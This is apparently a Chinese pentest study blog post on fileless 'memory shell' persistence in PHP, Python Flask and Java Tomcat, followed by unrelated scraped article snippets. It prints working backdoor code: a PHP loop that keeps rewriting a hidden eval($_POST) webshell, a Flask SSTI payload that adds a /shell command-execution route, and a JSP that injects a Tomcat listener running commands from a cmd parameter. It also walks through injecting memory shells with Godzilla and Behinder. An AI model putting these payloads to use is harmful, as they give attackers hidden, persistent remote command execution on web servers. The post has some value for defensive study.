第146天:内网安全-Web权限维持各语言内存马Servlet-api类Spring类Agent类

目录

前置知识及资源

案例一: 权限维持-Web-内存马-PHP

案例二: 权限维持-Web-内存马-Python

案例三: 权限维持-Web-内存马-JAVA

案例四: 权限维持-Web-内存马-哥斯拉&冰蝎

哥斯拉

​编辑

冰蝎


前置知识及资源

什么是内存马?

Webshell 内存马,是在内存中写入恶意后门和木马并执行,达到远程控制 Web 服务器
的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的 Webshell 都是基于
文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于 Webshell 内存马
是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难
度。

本文涉及到的代码下载地址

链接: https://pan.baidu.com/s/1znRj_L9MN69DrsOV6cQHgQ?pwd=x8i8 提取码: x8i8

案例一: 权限维持-Web-内存马-PHP

php内存马代码

<?phpignore_user_abort(true);set_time_limit(0);@unlink(__FILE__);$file = '.HH.php';$code = '<?php @eval($_POST[\'c\']); ?>';while (1){file_put_contents($file,$code);usleep(5000);}
?>

这段代码中各部分的含义

ignore_user_abort(true);     ##代表该代码只要运行了就不会断开、

set_time_limit(0);     ##该代码运行的时间,设置为0就是一致运行

@unlink(__FILE__);        ##删除文件

while (1){
 file_put_contents($file,$code);    ## 死循环创建文件并且写入
 usleep(5000);   ##延时
}

创建文件并且查看

然后访问http://ip/,这里会卡住,把之前创建的index文件会被删除,后面的页面是我访问的缓存,同时会产生一个.HH.php文件,这个文件是linux的隐藏文件,但是不知为何,我linux搭建的访问不了,只能这样演示。

.HH.php里面是一句话木马

在我去删除的时候,他又会立刻去创建出来,甚至在我鼠标右键的时候因为这个文件不断地创建,右键页面也不能打开,从时间也可以看出来这个文件,在一直的刷新

如何查杀

1. 因为写在了内存中,所以直接重启

2. 可以写一个条件竞争的代码,也是一直执行,刚创建就对其进行删除

案例二: 权限维持-Web-内存马-Python

漏洞代码,这段代码中有ssti注入漏洞

from flask import Flask,request
from flask import render_template_string
app = Flask(__name__)@app.route('/')
def hello_world():return 'Hello World'@app.route('/test',methods=['GET', 'POST'])
def test():template = '''<div class="center-content error"><h1>Oops! That page doesn't exist.</h1><h3>%s</h3></div> ''' %(request.values.get('param'))return render_template_string(template)if __name__ == '__main__':app.run(port=8000)   

 render_template_string函数会渲染字符串,而字符串中有用户能控制输入的参数param,就造成了命令执行的危害

创建代码,并执行

生成内存马,利用的时候只需要修改对应test的模块以及对应param的参数

http://127.0.0.1:8000/test?param={{url_for.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}}

然后访问

shell?cmd=命令

 

但是创建文件的地方并没有shell的影子文件也没有修改

参考文章:Python 内存马分析 - 先知社区

案例三: 权限维持-Web-内存马-JAVA

环境搭建

选择tomcat目录,导入程序的war包

 导入jdk

shift+f10进行启动

 java有三大组件,listener-->filter-->servlet,这里的原理就是把木马写入组件内存中

 

监听器

 漏洞代码是一个文件上传页面

listener-内存马

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%Object obj = request.getServletContext();java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");field.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) field.get(obj);//获取ApplicationContextfield = applicationContext.getClass().getDeclaredField("context");field.setAccessible(true);StandardContext standardContext = (StandardContext) field.get(applicationContext);//获取StandardContextListenerDemo listenerdemo = new ListenerDemo();//创建能够执行命令的ListenerstandardContext.addApplicationEventListener(listenerdemo);
%>
<%!public class ListenerDemo implements ServletRequestListener {public void requestDestroyed(ServletRequestEvent sre) {System.out.println("requestDestroyed");}public void requestInitialized(ServletRequestEvent sre) {System.out.println("requestInitialized");try{String cmd = sre.getServletRequest().getParameter("cmd");Runtime.getRuntime().exec(cmd);}catch (Exception e ){//e.printStackTrace();}}}
%>

 上传

 

访问页面,虽然是空白

但是现在已经可以在后面跟命令执行了

甚至随便访问一个不存在的目录

目录中也并没有一点,木马的影子

甚至把这个文件删除掉仍然还能够运行

 

重启代码失效

过滤器和伺服器,利用和前面一摸一样的,不再复现

案例四: 权限维持-Web-内存马-哥斯拉&冰蝎

实战过程中由于中间件不同,可能有tomcat,weblogic等等就会出现不同种类的内存马,甚至有类似spring框架开发,就导致不能通用,所以现在要演示通过哥斯拉&冰蝎复现

哥斯拉

生成木马

上传

建立连接

生成内存马

生成之后会发现目录下不会有这个文件

 

利用内存马建立连接的时候,要注意他会把这个文件默认上传到网站根目录下,并且密码默认的是password而不是pass

 利用内存马建立的连接

冰蝎

冰蝎在使用的过程中呢,会出现很多bug,个人觉得没有哥斯拉好用

上传木马进行连接,冰蝎的木马不用生成,目录里面就有

 右键目标连接,进行内存马的注入

到这里创建不了内存马了,这个版本不可以选择filter

后面换成了小迪视频里面的冰蝎版本,视频中问题是木马不能再Upload目录下,这里我试了也不行,所以这个还是有很多的bug的

 创建的时候是创建在网站根目录,访问也是利用根目录访问

成功连接,并且目录没有123文件

至此内网学习暂时告一段落,后面的vpc项目1和2已经下线,vpc4太大了,vpc3后可能做一下,希望你也能看到这里^_^

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/420753.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

程序员如何写笔记并整理资料?

整理笔记 word。没错&#xff0c;我也看了网上一大堆软件&#xff0c;还有git管理等等。个人认为如果笔记只是记录个人的经验积累&#xff0c;一个word就够了&#xff0c;那些notepad&#xff0c;laTex个人觉得不够简练。word。 1.word可以插入任何文件附件(目前最大的word 20…

C++笔记---list

1. list的介绍 list其实就是就是我们所熟知的链表&#xff08;双向循环带头结点&#xff09;&#xff0c;但其是作为STL中的一个类模板而存在。 也就是说&#xff0c;list是可以用来存储任意类型数据的顺序表&#xff0c;既可以是内置类型&#xff0c;也可以是自定义类型&…

六西格玛绿带培训多少钱

在探讨“六西格玛绿带培训多少钱”这一主题时&#xff0c;我们不得不深入了解六西格玛方法论在企业质量管理中的重要作用&#xff0c;以及绿带培训作为这一方法论推广和应用的关键环节。六西格玛&#xff0c;作为一种以数据驱动的管理哲学和方法论&#xff0c;旨在通过减少缺陷…

深入理解Java中的clone对象

目录 1. 为什么要使用clone 2. new和clone的区别 3. 复制对象和复制引用的区别 4.浅克隆和深克隆 5. 注意事项 1. 为什么要使用clone 在实际编程过程中&#xff0c;我们常常遇到这种情况&#xff1a;有一个对象 A&#xff0c;需要一个和 A 完全相同新对象 B&#xff0c;并…

ModuleNotFoundError: No module named ‘keras.layers.core‘怎么解决

问题 ModuleNotFoundError: No module named keras.layers.core&#xff0c;如图所示&#xff1a; 如何解决 将from keras.layers.core import Dense,Activation改为from tensorflow.keras.layers import Dense,Activation&#xff0c;如图所示&#xff1a; 顺利运行&#xf…

IOS Siri和快捷指令打开app

使用场景 需要Siri打开应用或者在自定义快捷指令打开应用&#xff0c;并携带内容进入应用。 1.创建Intents文件 1.1 依次点开File->New->File 1.2 搜索intent关键字找到 SiriKit Intent Definition File文件 1.3 找到刚才创建的Intent文件&#xff0c;点击然后New Inte…

【JS逆向学习】快乐学堂登陆接口(自定义DES加密、ddddocr验证码识别)

逆向目标 网址&#xff1a;https://www.91118.com/Passport/Account/Login接口&#xff1a;https://www.91118.com/passport/Account/LoginPost参数&#xff1a; passr 逆向过程 输入手机号、密码、验证码 点击登陆&#xff0c;多试几次&#xff0c;然后观察并比较不通请求…

MMO 地图传送,UI系统框架设计

地图传送 创建传送点 建碰撞器触发 //位置归零 建一个传送门cube放到要传送的位置&#xff08;这个teleporter1是传出的区域 这是从另一张地图传入时的传送门 创建一个脚本TeleporterObject给每个传送cube都绑上脚本 通过脚本&#xff0c;让传送门在编辑器下面还能绘制出来 …

GIT | git提交注释自动添加信息头

GIT | git提交注释自动添加信息头 时间&#xff1a;2024年9月6日10:20:11 文章目录 GIT | git提交注释自动添加信息头1.操作2.commit-msg文件 1.操作 2.commit-msg文件 #!/bin/sh # # An example hook script to check the commit log message. # Called by "git commit&q…

基于SpringBoot+Vue+MySQL的流浪猫狗宠物救助救援网站管理系统

系统展示 用户前台界面 管理员后台界面 系统背景 在当今社会&#xff0c;随着宠物数量的激增及人们关爱动物意识的提升&#xff0c;流浪猫狗问题日益严峻。为解决这一问题&#xff0c;构建一套高效、便捷的流浪猫狗宠物救助救援网站管理系统显得尤为重要。本系统基于SpringBoot…

CSP-CCF★★★201812-2小明放学★★★

目录 一、问题描述 二、解答 &#xff08;1&#xff09;注意&#xff1a; &#xff08;2&#xff09;80分版&#xff1a; &#xff08;3&#xff09;100分版&#xff1a; 三、总结 一、问题描述 二、解答 &#xff08;1&#xff09;注意&#xff1a; 题目的n小于等于10的…

m3u8网页视频文件爬取与视频合成

文章目录 m3u8网页视频文件爬取与视频合成下载m3u8文件下载m3u8文件列表所对应的ts文件下载ffmpeg m3u8网页视频文件爬取与视频合成 我们经常在网络上找到的自己想要的视频素材却无法下载&#xff0c;并且打开控制台一看视频是通过分割成一份份的.ts文件发送过来的。 下载m3u8…

零信任安全:重新思考数字世界的访问

目录 ​编辑 网络安全形势的演变 数字安全的变化 引入零信任安全 零信任的当今意义 了解零信任原则 零信任架构的核心概念 实施微分段 持续验证&#xff1a;积极主动的立场 与传统安全模型的对比 在现代企业中实施零信任 零信任实施基础知识 多重身份验证 (MFA) 的…

c++(继承、模板进阶)

一、模板进阶 1、非类型模板参数 模板参数分类类型形参与非类型形参。 类型形参即&#xff1a;出现在模板参数列表中&#xff0c;跟在class或者typename之类的参数类型名称。 非类型形参&#xff0c;就是用一个常量作为类(函数)模板的一个参数&#xff0c;在类(函数)模板中…

非监督式机器学习:群集

聚类分析是一种非监督式机器学习形式&#xff0c;在此形式下&#xff0c;基于观察值的数据值或特征的相似性&#xff0c;将观察值分组到群集中。 这种就是非监督式机器学习&#xff0c;因为它不使用先前已知的标签值来训练模型。 在聚类分析模型中&#xff0c;标签是群集&#…

帧缓冲 framebuffer

一、基本概念 framebuffer: 帧缓存、帧缓存&#xff08;显示设备&#xff09; Linux内核为显示提供的一套应用程序接口。&#xff08;驱动内核支持&#xff09; 分辨率&#xff1a; 像素点 显示屏&#xff1a;800 * 600&#xff08;横向有800个像素点&#xff0c;纵向有60…

DAY73

作业 pro文件&#xff1a; QT texttospeech 头文件&#xff1a; #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QPushButton> //按钮类 #include <QLabel> //标签类 #include <QLineEdit> //行编译器类 #include…

阿里中间件——diamond

一、前言 最近工作不忙闲来无事&#xff0c;仔细分析了公司整个项目架构&#xff0c;发现用到了很多阿里巴巴集团开源的框架&#xff0c;今天要介绍的是中间件diamond. 二、diamond学习笔记 1、diamond简介 diamond是一个管理持久配置&#xff08;持久配置是指配置数据会持久化…

【Datawhale X 李宏毅苹果书 AI夏令营】《深度学习详解》Task3 打卡

文章目录 前言学习目标一、优化策略二、模型偏差三、优化问题三、过拟合增加训练集给模型一些限制 四、交叉验证五、不匹配总结 前言 本文是【Datawhale X 李宏毅苹果书 AI夏令营】的Task3学习笔记打卡。 学习目标 李宏毅老师对应视频课程&#xff1a;https://www.bilibili.…

QDY421F-16P-25液氨不锈钢液动紧急切断阀

一、产品概述 QDY421F-16P-25液氨不锈钢液动紧急切断阀&#xff0c;采用先进的液动驱动技术&#xff0c;结合高质量的不锈钢材质&#xff0c;专为满足液氨等腐蚀性介质的紧急切断需求而设计。该阀门的工作压力可达16MPa&#xff0c;适用于DN25&#xff08;即25毫米&#xff09;…